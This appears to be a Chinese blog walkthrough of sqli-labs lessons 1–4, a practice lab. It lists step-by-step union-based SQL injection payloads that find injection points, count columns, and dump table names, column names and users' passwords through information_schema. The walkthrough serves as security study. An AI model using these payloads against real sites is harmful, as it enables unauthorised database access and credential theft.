zoukankan      html  css  js  c++  java
  • sqli-labs less-1 --> less-4

    Less-1  (报错注入)

    因为第一次做这些题,不太了解,所以$sql下加上echo "$sql<br>";能更明显的看出具体的输入

    1.判断是否存在注入点

    当输入?id=1时结果如下

      

    当输入?id=1’ and 1=1--+时回显正确

    当输入?id=1’发生报错,存在注入点

    2.判断字段数

      经尝试得到字段数为3?id=1’ order by 3--+

     通过?id=’union select 1,2,3 --+判断回显的具体字段位(使用union函数时需要左边的sql语句执行错误,即空集)

     

    3.根据函数查当前数据库,当前用户等

    具体函数:

    Version()  返回当前数据库的版本信息 || 查看数据库版本

    User()   返回当前用户 || 查看当前用户

    Database() 返回当前数据库名 || 查看使用的数据库

    Group_concat()将查询结果连接成字符串 || 一次性获取数据库信息

    Limit()    limit子句来分批获取所有数据

     4.在爆库、爆表、爆字段名之前需要了解下图

     

        爆表:执行?id=’union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=十六进制的数据库名),3 --+  ,如下图表明security库下面有四个表:emailsreferersuagentsusers

         爆字段(爆emails):执行?id=’union select 1,(select group_concat(column_name) from information_schema.columns   where table_name=emails的十六进制数),3 --+,如下图表明emails表下有两个字段(列):idemail_id

         获取数据(email_id):执行?id=’union select 1,(select group_concat(email_id) from emails),3 --+,如下图得到列email_id下的数据

    -------------------------------------------------------END----------------------------------------------------------------

    Less-2  (报错注入)

    less-1类似

    1.判断是否存在注入点

     当输入?id=1时能正确显示,当输入?id=1时报错,初步判断存在注入点,但是当输入?id=1’and1=1--+时又出现报错,输入?id=1 and 1=1 --+时能正确显示

     查看源码后发现id的值并没有被命成字符

    2.判断字段数,执行?id=1 order by 3 ,经判断,字段数为3

    3.判断回显的具体字段位,执行?id=-1 union select 1,2,3,结果与less-1相同

    4.根据函数查当前数据库,当前用户等,执行?id=-1 union select 1,database(),user()

    5.爆库,爆表,爆字段

      爆表:执行?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=security),3,得到如下security下有四个表:emailsreferersuagentsusers

       爆字段(爆uagents):执行?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=uagents),3,得到:表uagents下有四列:id,uagent,ip_address,username

       获取数据(爆username):执行?id=-1 union select  1,(select group_concat(username) from uagents),3,列username下的数据为空,在MySQL数据库中查看,确实为空

     

    -------------------------------------------------------END----------------------------------------------------------------

    Less-3  (报错注入)

    同样的第一步

    1.判断是否存在注入点

        当执行?id=1时,能够正确显示,而当执行?id=1,出现如下报错,首先判断存在注入点

     仔细分析’  ’  1’  ’  )

    SELECT * FROM 表名 WHERE id=‘$id’ LIMIT 0,1

    即:闭合方式除了‘’还有()

    2.判断字段数

       执行?id=1’) order by 3 --+  经过尝试,字段数为3

    3.判断回显的具体字段位

        执行?id=-1’) union select 1,2,3 --+

    4.查看当前数据库名,当前用户等

         执行?id=-1') union select 1,database(),user() --+

    5.爆库,爆表,爆字段

          爆表:执行?id=-1’) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=security的十六进制数),3 --+,得知:库security下有四个表:emailsreferersuagentsusers

     爆字段(爆referers):执行?id=-1’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=referers的十六进制数),3 --+,得知:表referers下有三列:idrefererip_address

     获取数据(爆id):执行?id=-1’) union select 1,(select group_concat(id) from referers),3 --+,列id下的数据又为空

     

    -------------------------------------------------------END----------------------------------------------------------------

    Less-4  (报错注入)

    和前三题类似

    1.判断是否存在注入点

       执行?id=1以及?id=1回显正确,执行?id=1”时出现报错,首先判断存在注入点

    查看报错的提示  ’  “  1  ”  ”  )在色块区域存在闭合导致报错,(在这里不得不提,?id=1”,的那个双引号真的服了,我还以为是两个单引号,半天没有反应....)将闭合后的部位注释掉,即?id=1” --+,发现还是不行,突然想起了第二个色块即,),所以闭合方式为:””    (),执行?id=1”) --+

     2.判断字段的长度

       执行?id=1”) order by 3 --+,经过尝试的到字段数为3

    3.判断回显的具体字段位

     执行?id=-1”) union select 1,2,3 --+

    4.查看当前数据库名,当前用户名等

     执行?id=-1”) union select 1,database(),user() --+

    5.爆库,爆表,爆字段

     爆表:执行?id=-1”) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=security),3 --+,得到库security下有四个表:emailsreferersuagentsusers

     爆字段(爆users):执行?id=-1”) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=users),3 --+,得到:表users下有6列:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

     爆数据(爆password):执行?id=-1”) union select 1,(select group_concat(password) from users),3 --+

     

    -------------------------------------------------------END----------------------------------------------------------------

  • 相关阅读:
    C++ 线程的创建、挂起、唤醒和结束 &&&& 利用waitForSingleObject 函数陷入死锁的问题解决
    接收数据界面卡顿-----待整理
    vs2012 在调试或运行的过程中不能加断点
    matlab 学习笔记
    周立功USBCAN-II 上位机开发(MFC)
    vs添加静态链接库+添加动态链接库+添加头文件目录
    Go 面试每天一篇(第 2 天)
    http 协议
    Samba配置
    svn checkout 单个文件
  • 原文地址:https://www.cnblogs.com/B-roin/p/12292942.html
Copyright © 2011-2022 走看看